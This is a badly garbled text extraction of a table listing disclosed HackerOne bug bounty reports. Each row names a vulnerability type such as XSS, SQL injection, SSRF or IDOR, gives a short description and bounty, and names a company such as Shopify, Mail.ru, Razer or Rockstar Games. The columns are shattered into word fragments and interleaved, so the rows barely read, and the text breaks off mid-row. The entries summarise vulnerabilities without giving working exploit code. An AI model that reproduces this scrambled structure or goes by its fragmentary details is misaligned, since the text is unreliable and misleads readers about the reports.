request. Rewarded due to different root cause fy reports/
ala 0
tion 0 796808
Co https://
mm $ hackerone.
3 and Abusing relative paths to run custom scripts 7 Sla
3 inje during startup 5 ck
com/
ctio 0 reports/
n 784714
Aut $
https://
hen 7 www.ryanp
3 tica View webcam and run code in context of any 5, Ap ickren.com
4 tion webpage in Safari 0 ple /webcam-
byp 0
hacking-
ass 0
overview
https://
$ hackerone.
Va
3 3
5
XSS Stored XSS through chat message
0
nill com/
a reports/
0
683792
https://
$ SE hackerone.
IDOR allows enumeration of users with connected
3 IDO 5 Mr
6 R
google analytics or the amount of calendars
0 us
com/
owned by a single user reports/
0 h
797685
$ https://
Logi SE hackerone.
2
3 c Negative values allowed for price parameters Mr
7 Err allowed for free goods
1
us
com/
1 reports/
or h
1
771694
$ https://
1 Sh hackerone.
3
8
XSS Stored XSS in customer chat 0 opi com/
0 fy reports/
0
798599
https://
$ hackerone.
Sh
3 5
9
XSS XSS through FB Group integration
0
opi com/
fy reports/
0
267570
$ https://
1 M hackerone.
4 SQL
0 i
Error-based SQLi through GET 5 ail. com/
0 ru reports/
0
790005
https://
$ hackerone.
M
4 SSR 1
1 F
Blind SSRF
5
ail. com/
ru reports/
0
120298
https://
$ hackerone.
M
4 IDO Leaking order information due to IDOR (No PII, 1
2 R only bought items) 5
ail. com/
ru reports/
0
791289
Cod $ https://
e 3 M hackerone.
4 PHP injection through unserialize() leading to code
3
inje
execution
0 ail. com/
ctio 0 ru reports/
n 0
798135
Sub
do https://
$ hackerone.
mai Dangling AWS Record allowed zone transfer,
4 5 Ub
4
n leading to access to cookies and CORS, which
0 er
com/
Tak could facilitate phishing attacks reports/
0
eov
707748
er
$ https://
Logi hackerone.
1
4 c No validation that user rated his own trips, Ub
5 Err meaning drivers could alter their ratings.
5
er
com/
0 reports/
or
0
724522
https://
$ hackerone.
4 Using PDF-generator and an iframe, one could 5 Vis
6
LFI
export the PDF with arbritrary file content 0 ma
com/
0 reports/
809819
Fo
reS
$ co https://
1 ut hackerone.
4
7
XSS Dom XSS in IE & Edge on main page 0 Te com/
0 ch reports/
0 nol
704266
ogi
es
https://
Logi $ Ne hackerone.
Overwrite data as low privilege user, by renaming
4 c 2 xtC
8 Err
existing folder to the name of a folder you do not
5 lou
com/
have access to reports/
or 0 d
642515
$ https://
2 hackerone.
5 SQL SQLi through multiple parameters, but in unused Ra
0 i service. Data exfiltration possible.
0
zer
com/
0 reports/
0
777698
$ https://
2 hackerone.
5 SQL SQLi through get parameter allowed for data Ra
1 i exfiltration from Thai users.
0
zer
com/
0 reports/
0
768195
$ https://
2 hackerone.
5 SQL Ra
2 i
SQLi allowing for access to data on Thai server. 0
zer
com/
0 reports/
0
781205
$ https://
2 hackerone.
5 SSR SSRF that could have lead to compromise of Ra
3 F server and significant data breach
0
zer
com/
0 reports/
0
777664
Info https://
$ hackerone.
rma
5 2 Ra
4
tion PHP file with source code exposed. No exploit.
0 zer
com/
lea reports/
0
k
819735
Cod https://
MacOS client is vulnerable to low-privilege $ Ne hackerone.
e
5 attacker injecting code into the application using 2 xtC
6
Inje
dylib. This is due to lack of setting the Hardened 5 lou
com/
ctio reports/
Runtime capability in XCODE 0 d
n
633266
Info https://
$ hackerone.
rma
5 Cleartext storage of API keys & tokens. Very 7 Ze
7
tion
poorly handled. 5 nly
com/
lea reports/
0
k
753868
Imp
rop
BC https://
$ M hackerone.
er
5 3 M
8
acc AWS Bucket access key transmitted in cleartext
0 ess
com/
ess reports/
0 en
con
ger 764243
trol
Imp
rop https://
$ hackerone.
er
5 2 Co
9
acc Able to add paid function for 14 days for free
0 da
com/
ess reports/
0
con
777942
trol
https://
$ hackerone.
M
6 Blind XSS in admin panel through a partner's 7
0
XSS
superuser name 5
ail. com/
ru reports/
0
746497
https://
$ hackerone.
M
6 Blind XSS in admin panel through a partner's 7
1
XSS
superuser name (Same issue, different endpoint) 5
ail. com/
ru reports/
0
746505
$ https://
6 M hackerone.
6 SSR
2 F
SSRF & Local File Read via photo upload 0 ail. com/
0 ru reports/
0
748128
$ https://
6 M hackerone.
6 SSR SSRF & Local File Read via photo retrieving
3 F functionality
0 ail. com/
0 ru reports/
0
748069
$ https://
6 M hackerone.
6 SSR
4 F
SSRF & Local File Read via photo editor 0 ail. com/
0 ru reports/
0
748123
$ https://
Logi hackerone.
8 M
6 c A partner account with manager role could
5 Err withdraw money from driver's account
0 ail. com/
0 ru reports/
or
0
751347
https://
$ M hackerone.
6 5 ap
6
XSS Reflected XSS through XML Namespace URI
0 bo
com/
0 x reports/
780277
Cod https://
$ hackerone.
e M
6 5
7
Inje HTML Injection for IE only
0
ail. com/
ctio ru reports/
0
n
757100
https://
$ Au hackerone.
6 5 to
8
DoS Cache poisoning CORS allow origin header
5 ma
com/
0 ttic reports/
591302
https://
$ Ne hackerone.
6 IDO 5 xtc
9 R
Remote wipe of other users device
0 lou
com/
0 d reports/
819807
$ https://
3 Git hackerone.
7 SSR GitLab local instance SSRF bypass through DNS
0 F Rebinding in WebHooks
5 La com/
0 b reports/
0
632101
Git
$
Hu https://
b hackerone.
1
7 openStream called on java.net.URL allows access Se
1
LFI
to local resources when passing in file:// or jar://
8
cur
com/
0 reports/
ity
0
La 844327
b
Git
$
Hu https://
b hackerone.
1
7 SQL Arbitrary SQL queries via DocID parameter of Se
3 i Websocket API
8
cur
com/
0 reports/
ity
0
La 854439
b
$ https://
Logi 1 Ins hackerone.
7 Account takeover through link injection in contact
4
c
form
0 ola com/
Bug 0 r reports/
0
786741
Info https://
$ hackerone.
rma Ability to see other shops product title, only if Sh
7 5
5
tion they are using a particular app and has an
0
opi com/
lea attachment fy reports/
0
k
848625
https://
$ hackerone.
7 Reflected XSS on API Server (No regular users 2 Ra
6
XSS
browsing the page) 5 zer
com/
0 reports/
791941
https://
Bru $ hackerone.
M
7 te Counter-specific (?) password was not protected 1
7 For against brute force attacks 5
ail. com/
ru reports/
ce 0
754536
Info https://
$ hackerone.
rma M
7 2
9
tion API endpoint disclosed e-mails of subscribed users
5
ail. com/
lea ru reports/
0
k
703086
https://
$ hackerone.
8 DoS & Unsafe Object creation through JSON 5 Ru
0
DoS
parsing 0 by
com/
0 reports/
706934
https://
Logi $ hackerone.
Session Expiration is not enforced during signup.
8 c 1 Vis
1 Err
Bypass can be done by deleting HTML element
0 ma
com/
blocking progress reports/
or 0
810400
Sub
do $ https://
mai 2 Ro hackerone.
8 Subdomain takeover due to expired / unclaimed
2
n
Hubspot instance
5 blo com/
Tak 0 x reports/
eov 0
335330
er
Info $ https://
rma 1 hackerone.
8 Ub
3
tion Endpoint vulnerable to Heartbleed 5
er
com/
lea 0 reports/
k 0
304190
$ https://
LFI through Path Traversal in image-tag in 2 hackerone.
Git
8 Markdown. Disclosure of local files leads to 0,
4
RCE
disclosure of secret, which can be used to achieve 0
La com/
b reports/
RCE through deserialization 0
0 827052
No
de.
js
Thi
Pro rd https://
toty $ Pa hackerone.
8 pe Simple prototype pollution due to improper 2 rty
5 Poll handling of zipObjectDeep 5 M
com/
utio 0 od reports/
n ule 712065
s
(lo
da
sh)
Info
Session is not properly invalidated after logging https://
rma $ hackerone.
out. When creating a store before upgrading your Sh
8 tion 5
6 disc
account, visitors are required to enter a password.
0
opi com/
This password is disclosed after logging out, when fy reports/
los 0
visiting a certain link.
ure 837729
https://
$ hackerone.
Ro
8 IDO Able to bypass ban restrictions through path 8
7 R normalization. APIs are also unrestricted 0
blo com/
x reports/
0
703058
https://
$ hackerone.
Phi
8 2 Sla
8
shi Link url falsification by altering post message
5 ck
com/
ng reports/
0
481472
Info https://
$ hackerone.
rma Ide
8 1
9
tion Leaking (unrestricted?) Google API key
5
nti com/
lea fy reports/
0
k
724039
Imp
rop Ha https://
er ck hackerone.
9 Read-only team members can read all properties $
0
acc
of webhooks, through graphql 0
er com/
ess On reports/
con e
818848
trol
https://
$ hackerone.
Ro
9 5
1
DoS DoS through sending large message to the server
0
blo com/
x reports/
0
679907
https://
$ hackerone.
9 IDO Access to log files based on IDOR through exposed 5 Ra
2 R signature in Razer Pay Android App 0 zer
com/
0 reports/
754044
Pat https://
$ Sta hackerone.
h Misconfiguration when handling URI paths
9 5 rb
3
Tra allowed for docroot path traversal giving access to
0 uc
com/
ver non-sensitive data usually not accessible to users reports/
0 ks
sal
844067
9 Imp Client side traffic hijacking allowed for user data $ Ra https://
4 rop interception (Local?) 7 zer hackerone.
er 5
Cer 0
com/
tific reports/
ate 795272
Vali
dati
on
Imp
rop https://
$ hackerone.
er
9 The Razer Pay backend server could be exploited 5 Ra
5
aut
to obtain transaction details from another user 0 zer
com/
hori reports/
0
zati
754339
on
$ https://
2 hackerone.
9 SQL Razer Pay API was vulnerable to SQLi exposing Ra
6 i user information
0
zer
com/
0 reports/
0
811111
Imp
rop $ https://
Reverse engineering the Android app allowed for hackerone.
er 1
9 bypassing the signatures in place to prevent Ra
7
aut
parameter tampering, discovering a variety of
0
zer
com/
hori 0 reports/
IDOR issues
zati 0
753280
on
HTT
P https://
Res $ hackerone.
M
9 pon Limited CRLF injection allowed for manipulation of 1
8 se cookies 5
ail. com/
ru reports/
Spli 0
ttin 838682
g
$ https://
SE hackerone.
5
9 IDO Issue with the marketplace due to length Mr
9 R restriction in choosing hashing function
0
us
com/
0 reports/
h
0
837400
$ https://
SE hackerone.
1 2
SSR SSRF & LFI in Site Audit due to lack of connection Mr
0
F protocol verification
0
us
com/
0 0 reports/
h
0
794099
SSL https://
Possible to temporarily downgrade a victim from $ hackerone.
1 Do
HTTPS to HTTP in Firefox. Required victim clicking 5 Ub
0 wn
a link and had a very short timeframe to be 0 er
com/
1 gra reports/
successful 0
de
221955
$ https://
1 Reflected XSS due to outdated Wordpress 4 hackerone.
Ub
0 XSS installation lead to exposure of sensitive form 0
er
com/
2 data and user data 0 reports/
0
340431
Op https://
1 en $ Un hackerone.
0 Red Open redirect in get parameter 5 ikr com/
3 irec 0 n reports/
t
625546
https://
$ hackerone.
1 Tw
Bypassing character limitation on ´Moments´ 5
0 DoS
feature and creating many of them leads to DoS 6
itt com/
4 er reports/
0
819088
$ https://
1 1 hackerone.
SQL Ra
0
i
Blind Boolean-based SQLi in Razer Gold TH 0
zer
com/
7 0 reports/
0
790914
TT
S https://
$ hackerone.
1 Bu
SSR SSRF allowing port scanning of localhost through 3
0
F host header injection 0
g com/
8 Bo reports/
0
un
272095
ty
Cry
pto
Th https://
$ e hackerone.
1 gra
A variety of WPA3 issues related to cryptography 7 Int
0 phi
and logic 5 er
com/
9 c reports/
0 ne
Issu
t 745276
es
Ha https://
$ hackerone.
1 ck
5
1 XSS Reflected XSS on resources.hackerone.com
0
er com/
0 On reports/
0
e
840759
Po https://
$ rn hackerone.
1 Self-XSS to normal XSS by bypassing X-Frame-
2 hu
1 XSS Options to automatically execute JS through
5 b.c
com/
2 loading content through iframes reports/
0 o
m 761904
$ https://
1 1 ma hackerone.
IDO A partner account could access another partner's
1
R driver data through an IDOR
5 il.r com/
3 0 u reports/
0
747612
$ https://
1 1 ma hackerone.
IDO A partner account could access information about
1
R other partners through an IDOR
5 il.r com/
4 0 u reports/
0
746513
$ https://
1 8 ma hackerone.
IDO A partner with manager role could takeover a
1
R drive's account belonging to a different partner
0 il.r com/
5 0 u reports/
0
751281
https://
$ hackerone.
1 ma
Stored XSS on messages to drivers through the 5
1 XSS
operator interface 0
il.r com/
6 u reports/
0
751263
Imp
rop https://
$ hackerone.
1 er
Delete projects from archived companies set to 1 Vis
1 Acc
Read-Only. 0 ma
com/
8 ess reports/
0
Con
849157
trol
Info https://
$ hackerone.
1 rma Ba
Account takeover due to leaking auth URLs on 5
1 tion
google & leaking OTP in API response 0
do com/
9 lea o reports/
0
k
746186
https://
$ hackerone.
1
2 Vis
2 XSS Stored XSS through file upload (.pdf → JS)
5 ma
com/
0 reports/
0
808862
Info Ha https://
$ hackerone.
1 rma ck
5
2 tion 404-page leaks all headers
0
er com/
1 lea On reports/
0
k e
792998
https://
$ hackerone.
1 M
CSR Friends Only account mode could be toggled 2
2
F through CSRF 5
ail. com/
2 ru reports/
0
448928
$ https://
1 Improper error handling leads to DoS and service 1 Git hackerone.
2 DoS failure in case of supplying invalid "Redirect_URI" 0 La com/
4 parameter 0 b reports/
0
702987
Info $ Ha https://
1 rma 7 ck hackerone.
Private program invites can disclose emails of any
2 tion
user invited by using username
5 er com/
5 lea 0 On reports/
k 0 e
807448
Ph https://
$ hackerone.
1 ab
SSR SSRF through notification configuration. Requires 3
2
F admin privileges 0
ric com/
6 at reports/
0
or
850114
Imp
rop https://
$ hackerone.
1 er
Read-only user without access to payroll, can still 2 Vis
2 Acc
access the data by visiting the URL directly 5 ma
com/
7 ess reports/
0
Con
838563
trol
Ru https://
$ hackerone.
1 by
Code does not sufficiently escape template 5
2 XSS
expressions, allowing for XSS 0
On com/
8 Rai reports/
0
ls
474262
Mis https://
$ hackerone.
1 con M
Network restrictions on admin interface could be 1
3 figu
bypassed using alternate hostnames 5
ail. com/
0 rati ru reports/
0
on
749677
Req https://
ues $ hackerone.
1
t Request smuggling poisoning users using Host 7 TT
3
Sm header injection 5 S
com/
1 reports/
ugg 0
ling 726773
Lac
k of
sec https://
$ hackerone.
1 urit M
Lack of user warning when opening potentially 2
3 y
dangerous files from the chat window 5
ail. com/
2 me ru reports/
0
cha
633600
nis
ms
https://
$ hackerone.
1
Reflected XSS in investor relations website due to 3 Ra
3 XSS
unsanitized user input 5 zer
com/
3 reports/
0
801075
$ https://
1 1 hackerone.
SQL Blind SQLi due to no input sanitization on "Top Ra
3
i Up" function in Razer Gold TH service
0
zer
com/
4 0 reports/
0
789259
Sub
do https://
$ hackerone.
1 mai
2 Ra
3 n Subdomain takeover
5 zer
com/
5 Tak reports/
0
eov
810807
er
https://
Op $ hackerone.
1
en 1 TT
3
redi
Open redirect in login flow
5 S
com/
6 reports/
rect 0
798742
Rac $ https://
Inn hackerone.
1 e Race condition in email verification that awards 2
oG
3 Con in-game currency, leading to similar impact as 0
am
com/
7 diti payment bypass 0 reports/
es
on 0
509629
$ https://
1 Reflected XSS due to insufficient input sanitation. 1 Pa hackerone.
3 XSS Could allow for account takeover or user session 9 yP com/
9 manipulation. 0 al reports/
0
753835
https://
$ hackerone.
1 Stored XSS through bypass of file type upload limit
2 Vis
4 XSS by 0-byte. Uploading a xx.html%00.pdf with JS will
5 ma
com/
0 work like a stored XSS when accessed reports/
0
808821
Imp Op
rop en https://
An issue in how Cloudflare's authoritative DNS $ hackerone.
1 er -
server processes requests with ":" in it. This allows 4
4 Aut
an attacker to spoof NXDOMAINs within safe 0
Xc com/
1 hen ha reports/
zones. 0
tica ng
858854
tion e
Imp
rop W https://
$ hackerone.
1 er Can reply or delete replies from any users in any or
2
4 Acc public group, without joining said group.
2
dP com/
2 ess (Buddypress) res reports/
5
Con s
837256
trol
Priv
W https://
ileg $ hackerone.
1 or
e Author role has access to edit, trash and add new 2
4
Esc items within the BuddyPress Emails. 2
dP com/
3 res reports/
ala 5
s
tion 833782
W https://
$ hackerone.
1 or
CSR Profile field CSRF allows for deleting any field in 2
4
F BuddyPress 2
dP com/
4 res reports/
5
s
836187
Priv
W https://
ileg $ hackerone.
1 or
e IDOR + Changing parameter from "Moderator" to 2
4
Esc "Admin" leads to privilege escalation 2
dP com/
5 res reports/
ala 5
s
tion 837018
$ https://
Gl hackerone.
1 1
Reflected XSS evading WAF + confirming ass
4 XSS
insufficient fix
0
do
com/
7 0 reports/
or
0
846338
Info Ha https://
$ hackerone.
1 rma New retest functionality discloses existence of ck
5
4 tion private programs through having the tag added to
0
er com/
8 lea the program description On reports/
0
k e
871142
https://
$ Ne hackerone.
1
Outdated PDF.js allows for XSS using CVE-2018- 1 xtc
4 XSS
5158 0 lou
com/
9 reports/
0 d
819863
Ha https://
$ hackerone.
1 DoS due to having a large amount of groups and ck
5
5 DoS sending a tampered request (Changed Accept-
0
er com/
0 Encoding & User-Agent) On reports/
0
e
861170
https://
$ hackerone.
1
2 QI
5 XSS Stored XSS in user profile
0 WI
com/
1 reports/
0
365093
Imp
rop https://
$ hackerone.
1 er He
Privilege escalation through improper access 5
5 Acc
control on /membership/ endpoint 0
liu com/
3 ess m reports/
0
Con
809816
trol
https://
Sending invitations is vulnerable to IDOR attack, $ hackerone.
1 He
IDO resulting in being able to invite any account as 1
5
R administrator of a organization, by knowing the 0
liu com/
4 m reports/
organizations UUID 0
835005
Imp
rop $ https://
Se hackerone.
1 er Dcoker Registry API v2 exposed through HTTP, 2
m
5 Acc allowing for dumping & poisoning of docker 0
ml
com/
5 ess images. 0 reports/
e
Con 0
347296
trol
Cod $ https://
1 e 2 Git hackerone.
5 Inje CodeQL query to detect JNDI injections 3 Hu com/
6 ctio 0 b reports/
n 0
892465
Info $ Ha https://
1 rma GraphQL query can disclose information about 2 ck hackerone.
5 tion undisclosed reports to the HackerOne program 5 er com/
7 lea due to the retest feature 0 On reports/
k 0 e
871749
Info $ https://
1 rma 1 Git hackerone.
CodeQL query to detect Spring Boot actuator
5 tion
endpoints
8 Hu com/
9 lea 0 b reports/
k 0
891266
$ https://
1 Logi 1 Git hackerone.
CodeeQL query to detect incorrect conversion
6 c
between numeric types in GOLang
8 Hu com/
0 Bug 0 b reports/
0
891265
Imp
rop https://
$ hackerone.
1 er M
Certain API methods were not properly restricted 4
6 Acc
and leaked statistics about arbitrary domains 0
ail. com/
1 ess ru reports/
0
Con
831663
trol
Priv https://
ileg $ Inn hackerone.
1
e Can invite members to a "clan" even when the 5 oG
6
Esc user does not have access to that function 5 am
com/
3 reports/
ala 0 es
tion 511275
Priv https://
ileg $ hackerone.
1 He
e Changing email parameter allows privilege 1
6
Esc escalation to admin 0
liu com/
5 m reports/
ala 0
tion 813159
Info https://
$ hackerone.
1 rma Git
5
6 tion CodeQL query to detect logging of sensitive data
0
Hu com/
6 lea b reports/
0
k
886287
$ Ub https://
CSRF is possible in the AirMax software on hackerone.
1 1 iqu
CSR multiple endpoints leading to possible firmware
6
F downgrade, config modification, file or token ex-
1 iti com/
7 0 inc reports/
filtration etc.
0 .
323852
Acc
$ https://
oun hackerone.
1 1 M
t No brute-force protection on SMS verification
6
Tak endpoint lead to account takeover
7 ail. com/
8 0 ru reports/
eov
0
er 744662
https://
$ hackerone.
1 M
IDO API allowed for leaking information on job seekers 5
6
R / employers through IDOR 0
ail. com/
9 ru reports/
0
743687
$ https://
1 hackerone.
1 Git
SSR SSRF through using functionality from included 0,
7
F library that should be disabled 0
La com/
1 b reports/
0
0 826361
Info
$ https://
1 hackerone.
1 rma Git
Insufficient verification leads to ability to read 0,
7 tion
sensitive files 0
La com/
2 lea b reports/
0
k
0 850447
Imp
rop https://
$ Inn hackerone.
1 er
Could impersonate and answer tickets belonging 5 oG
7 Aut
to other users 5 am
com/
3 hen reports/
0 es
tica
876573
tion
Sub
do https://
$ hackerone.
1 mai
2 Ra
7 n Subdomain takeover of iosota.razersynapse.com
0 zer
com/
4 Tak reports/
0
eov
813313
er
https://
$ hackerone.
1
Reflected xss through cookies on ftp server for 3 Ra
7 XSS
Thai employees 7 zer
com/
5 reports/
5
748217
Ro https://
$ cks hackerone.
1 Out of scope DOM XSS leading to impact on
7 tar
7 XSS account security for in scope asset. Only
5 Ga
com/
6 applicable to IE and Edge. reports/
0 me
s 663312
Ro https://
$ cks hackerone.
1 Search function was crashable disclosing error
SQL 2 tar
7
i
logs with useful information for other potential
5 Ga
com/
7 attacks. reports/
0 me
s 808832
Op
Ro https://
$ cks hackerone.
1 en
Could potentially leak sensitive tokens through 7 tar
7 Red
referer header on GTA Online sub-site. 5 Ga
com/
8 irec reports/
0 me
t
s 798121
$
Ro https://
cks hackerone.
1 DOM XSS in GTA Online feedback endpoint. Other 1
tar
7 XSS issues with the same root cause was also found on 2
Ga
com/
9 the same site. 5 reports/
me
0
s 803934
Info
Ro https://
$ cks hackerone.
1 rma External images could be referenced in the
5 tar
8 tion screenshot utility feature, possibly leading to
0 Ga
com/
1 lea FaceBook OAUTH token theft reports/
0 me
k
s 497655
Ro https://
$ cks hackerone.
1
Dom XSS on main page achieved through multiple 8 tar
8 XSS
minor issues, like path traversal and open redirect 5 Ga
com/
2 reports/
0 me
s 475442
https://
$ hackerone.
1 Sh
Stored XSS through demo function in multiple 7
8 XSS
parameters using javascript scheme 5
opi com/
3 fy reports/
0
439912
Imp
rop $ https://
After removing admin access from an account, it hackerone.
1 er 1 Sh
can still make changes with admin permissions
8 acc
until logged out. The account can also still make
0 opi com/
4 ess 0 fy reports/
changes to embedded apps, but this is by design.
con 0
273099
trol
$
Ro https://
cks hackerone.
1 Account takeover on social club by using CSRF to 1
CSR tar
8
F
link an account to the attackers facebook account, 0
Ga
com/
5 leading to the ability to login as the victim 0 reports/
me
0
s 474833
Ro https://
$ cks hackerone.
1
Reflected XSS due to decoding and executing code 7 tar
8 XSS
after the last "/" on GTAOnline/jp. 5 Ga
com/
6 reports/
0 me
s 507494
Op
Ro https://
$ cks hackerone.
1 en
Open Redirect on the support page, impacting the 7 tar
8 Red
mobile page 5 ga
com/
7 irec reports/
0 me
t
s 781718
Ro https://
$ cks hackerone.
1
DOM XSS on GTAOnline. Regressed Directory 7 tar
8 XSS
Traversal and new XSS issue 5 ga
com/
8 reports/
0 me
s 479612
Rac
e Ro https://
Con $ cks hackerone.
1 Can click "This Rocks" (like) button any number of
diti 2 tar
8
on
times, allowing an attacker to fill up the victims
5 ga
com/
9 notification feed reports/
(TO 0 me
CT s 474021
OU)
Ro https://
$ cks hackerone.
1 DOM XSS in the video section of GTAOnline page
7 tar
9 XSS through returnurl-parameter, only exploitable on
5 ga
com/
0 non-English versions. reports/
0 me
s 505157
Ha https://
CSRF on login page only, due to processing $ hackerone.
1 ck
CSR credentials before checking for CSRF protections. 5
9
F This is also only valid when forcing non 4xx 0
er com/
1 On reports/
responses from the server 0
e
834366
$ https://
1 5 hackerone.
QI
9 RCE RCE Through Blind SQLI in Where clause 5
WI
com/
2 0 reports/
0
816254
$ https://
1 1 hackerone.
QI
9 RCE RCE through Blind SQLI in prepared statement 0
WI
com/
4 0 reports/
0
816086
https://
1 $ He hackerone.
IDO Read-only user can change name of device in
9
R admin account
5 liu com/
5 0 m reports/
865115
Pat $ https://
Sta hackerone.
1 h 4
Access to restricted data through path traversal rb
9 Tra
(requires valid authentication cookie)
0
uc
com/
6 ver 0 reports/
ks
sal 0
876295
https://
$ Sta hackerone.
1
Combining two minor harmless injections results 2 rb
9 XSS
in dom based Reflected XSS 5 uc
com/
7 reports/
0 ks
396493
https://
$ Sta hackerone.
1
2 rb
9 XSS Bypass of previous issue by encoding " as %2522
5 uc
com/
8 reports/
0 ks
252908
Op
en https://
By being able to redirect key lookups (since they $ hackerone.
2 -
SSR are on your own domain and the lookup is done 4
0
F over DNS), you can trick the sending server into 0
Xc com/
0 ha reports/
accessing arbitrary addresses. 0
ng
792960
e
Op
Same as 201 but through different code. Being en https://
$ hackerone.
2 able to control DNS records for your own domain, -
SSR 4
0
F
you can redirect servers accessing your domain to
0
Xc com/
1 get your public key into returning data from an ha reports/
0
internal asset. ng
792953
e
Op
en https://
$ hackerone.
2 DOM XSS through XSS payload in UID field of key. -
5
0 XSS Exploited by sending key to the victim, which then
0
Xc com/
2 imports it. ha reports/
0
ng
788691
e
Info
$ https://
rma Attacker can leak OAUTH token due to SE hackerone.
2 1
tion redirect_uri not properly detecting IDN Mr
0
disc Homograph attacks (Unicode character confusion
0
us
com/
3 0 reports/
los attack - é = e) h
0
ure 861940
$ Ha https://
2 2 ck hackerone.
DoS through no length restriction on the
0 DoS
"instruction" field when creating a new program.
5 er com/
4 0 On reports/
0 e
887321
Pat $ https://
By executing a path traversal attack on the Sta
2 h 4
frontend, arbitrary API calls on the (internal only) rb samcurry.n
0 Tra 0
6 ver
backend was possible. This lead to being able to
0
uc et/hacking-
enumerate 100 million real users. ks
sal 0 starbucks/
Priv https://
$ No hackerone.
2 acy
Incorrect usage of Google AD ID integration lead 2 rd
0 Viol
to privacy issue 0 VP
com/
7 atio reports/
0 N
n
803941
Ins
ecu https://
re $ Ne hackerone.
2
desi Including vendor based eval-stdin.php leads to 1 xtC
0
gn potential RCE 0 lou
com/
8 reports/
prin 0 d
cipl 820146
es
Ro https://
Lack of CSRF protection when linking FaceBook $ cks hackerone.
2
CSR account with Social Club account, lead to potential 5 tar
0
F takeover. Required preconditions and deception 5 Ga
com/
9 reports/
to succeed. 0 me
s 653254
Info Ro https://
rma $ cks hackerone.
2 a chain of vulnerabilities leads to being able to
tion 5 tar
1
Disc
possibly exfiltrate user tokens. One part was
0 Ga
com/
0 image injection in Screenshot-View function. reports/
los 0 me
ure s 655288
Ro https://
DOM XSS in localized (different languages) Red $ cks hackerone.
2
Dead Redemption 2 video 7 tar
1 XSS
viewer. www.rockstargames.com/reddeadredemp 5 Ga
com/
2 reports/
tion2/br/videos 0 me
s 488108
Ro https://
$ cks hackerone.
2 CSRF issue in language changing function for GTA
CSR 5 tar
1
F
Online could be chained with other vulnerabilities
0 Ga
com/
3 to leak user tokens. reports/
0 me
s 809691
Info Ro https://
rma Image injection $ cks hackerone.
2
tion on www.rockstargames.com/bully/anniversaryedi 5 tar
1
Disc tion. Could be combined with other issues to leak 0 Ga
com/
4 reports/
los user tokens. 0 me
ure s 498358
Info Ro https://
rma $ cks hackerone.
2
tion Image injection-fix bypass in the screenshot- 5 tar
1
Disc viewer utility 0 Ga
com/
5 reports/
los 0 me
ure s 505259
Info Ro https://
rma $ cks hackerone.
2
tion Another Image injection-fix bypass in the 5 tar
1
Disc screenshot-viewer utility 0 Ga
com/
6 reports/
los 0 me
ure s 506126
Op
Ro https://
Open Redirect in changing language functionality $ cks hackerone.
2 en
on https://www.rockstargames.com/GTAOnline. 5 tar
1 Red
This could be used to leak sensitive tokens from 0 Ga
com/
8 irec reports/
the URL through Referer header. 0 me
t
s 870062
Info
Image injection on localized (different languages)
Ro https://
rma $ cks hackerone.
2 versions of games/info endpoint
tion 5 tar
2
Disc
(https://www.rockstargames.com/br/#/games/inf
0 Ga
com/
0 o). This could lead to leaking user tokens through reports/
los 0 me
Referer header.
ure s 510388
Info
Attack chain leading to leaking OAUTH tokens.
Ro https://
rma $ cks hackerone.
2 Image injection
tion 5 tar
2
Disc
in https://www.rockstargames.com/bully/anniver
0 Ga
com/
1 saryedition combined with other minor issues reports/
los 0 me
allowed for this attack to be successful.
ure s 659784
Ro https://
DOM XSS in localized versions of GTA Online $ cks hackerone.
2
screenshot site, like the 7 tar
2 XSS
following: https://www.rockstargames.com/GTAO 5 Ga
com/
2 reports/
nline/jp/screens/ 0 me
s 508475
Imp
rop
Host(origin) checking of Digits SDK passes attacker
$ https://
controlled string to function expecting regex, hackerone.
2 er 5 Tw
leading to using regex-specific characters in the
2 Aut
domain name allowing for bypassing the check.
0 itt com/
4 hen 4 er reports/
("." matching any character). The impact was
tica 0
account takeover. 129873
tion
Ro https://
Image injection $ cks hackerone.
2
CSR on www.rockstargames.com/IV/screens/1280x72 5 tar
2
F 0Image.html can be combined with other issues to 0 Ga
com/
7 reports/
leak user tokens. 0 me
s 784101
Info Ro https://
rma Image injection $ cks hackerone.
2
tion on https://www.rockstargames.com/careers#/offi 5 tar
2
disc ces/. Combined in a chain with other attacks could 0 Ga
com/
8 reports/
los lead to leaking user tokens. 0 me
ure s 491654
Ins
uffi
cie https://
nt $ hackerone.
2
Ses No session invalidation after logout. Attacker can 1 Vis
2
sio reuse known tokens 0 ma
com/
9 reports/
n 0
Exp 808731
irati
on
Re
mo $ https://
Remote file inclusion through downloading file Ke hackerone.
2 te 5
from chat. Uses path traversal to extract yb
3 File
anywhere, and it can be hidden by setting a title
0
as
com/
0 Incl 0 reports/
for the file. e
usi 0
713006
on
Ins
ecu
Using RTLO (Right to left override) character https://
re $ hackerone.
2 allows spoofing the URL that will be displayed Va
Des 1
3
ign
when navigating out of
5
nill com/
1 rinkerboats.vanillacommunities.com leading to a reports/
Prin 0
potential phishing / other attacks.
cipl 563268
es
https://
$ hackerone.
2
2 Vis
3 XSS Stored XSS in the Customer Number field.
5 ma
com/
2 reports/
0
882189
$ https://
2 XSS in account.mail.ru due to unsafe handling of 1 M hackerone.
3 XSS GET parameter (User-assisted == Requires user 0 ail. com/
4 interaction?) 0 ru reports/
0
889874
Info https://
$ hackerone.
2 rma M
MySQL credentials leaked to publicly available 1
3 tion
config file 5
ail. com/
5 lea ru reports/
0
k
879389
$ https://
SSRF through using the relap.io function allowing hackerone.
2 1 M
SSR for fetching external resources, allowing access to
3
F the production network in a transparent manner.
7 ail. com/
6 0 ru reports/
(Non-blind)
0
739962
W https://
$ hackerone.
2 Stored XSS by authenticated user to all other users or
2
3 XSS through the /wp-admin/edit.php?
2
dp com/
7 post_type=forum endpoint res reports/
5
s
881918
Info https://
No hackerone.
2 rma A misconfigured web directory disclosed files that $
rd
3 tion showed NordVPNs public proxy list and 5
VP
com/
8 lea corresponding port numbers 0 reports/
N
k
791826
2 Priv An attacker can kick out any other member of any $ He https://
3 ileg organization, given that they know the 1 liu hackerone.
9 e membership ID of the user. This is due to an IDOR 0 m
Esc in the delete membership functionality, which can 0
com/
ala be triggered by: DELETE /api/memberships/id reports/
tion 810320
Co
Ub https://
mm $ hackerone.
2 Reflected XSS in certain endpoints allows account iqu
and 5
4
Inje
takeover. Attackers can also perform sensitive
9
iti com/
0 actions on behalf of authenticated users. Inc reports/
ctio 4
.
n 661647
Co
$ Ub https://
mm Certain end-points are vulnerable to command hackerone.
2 6 iqu
and injection when using specifically crafted input,
4
Inje leading to RCE. This vulnerability can be triggered
8 iti com/
1 3 Inc reports/
ctio through other vulnerabilities, like XSS and CSRF.
9 .
n 703659
$ https://
Bat files and other malicious executables (or any hackerone.
